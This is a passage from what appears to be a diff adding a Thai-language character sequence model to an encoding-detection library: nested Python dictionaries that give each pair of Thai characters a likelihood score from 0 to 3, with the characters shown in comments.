'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 10: { # 'ั' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 3, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 3, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 2, # 'ฐ' + 53: 0, # 'ฑ' + 55: 3, # 'ฒ' + 43: 3, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 1: { # 'า' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 3, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 1, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 3, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 2, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 1, # 'ฝ' + 31: 3, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 3, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 3, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 36: { # 'ำ' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 3, # 'ค' + 8: 2, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 3, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 23: { # 'ิ' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 3, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 3, # 'พ' + 54: 1, # 'ฟ' + 45: 2, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 3, # 'ศ' + 46: 2, # 'ษ' + 18: 2, # 'ส' + 21: 3, # 'ห' + 4: 1, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 13: { # 'ี' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 3, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 40: { # 'ึ' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 3, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 27: { # 'ื' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 3, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 32: { # 'ุ' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 3, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 1, # 'ฒ' + 43: 3, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 2, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 1, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 1, # 'ศ' + 46: 2, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 1, # 'โ' + 29: 0, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 35: { # 'ู' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 2, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 3, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 11: { # 'เ' + 5: 3, # 'ก' + 30: 3, # 'ข' + 24: 3, # 'ค' + 8: 2, # 'ง' + 26: 3, # 'จ' + 52: 3, # 'ฉ' + 34: 3, # 'ช' + 51: 2, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 3, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 3, # 'พ' + 54: 1, # 'ฟ' + 45: 3, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 28: { # 'แ' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 1, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 3, # 'ต' + 44: 2, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 3, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 2, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 41: { # 'โ' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 1, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 3, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 0, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 29: { # 'ใ' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 1, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 33: { # 'ไ' + 5: 1, # 'ก' + 30: 2, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 1, # 'บ' + 25: 3, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 2, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 0, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 2, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 50: { # 'ๆ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 37: { # '็' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 1, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 6: { # '่' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 7: { # '้' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 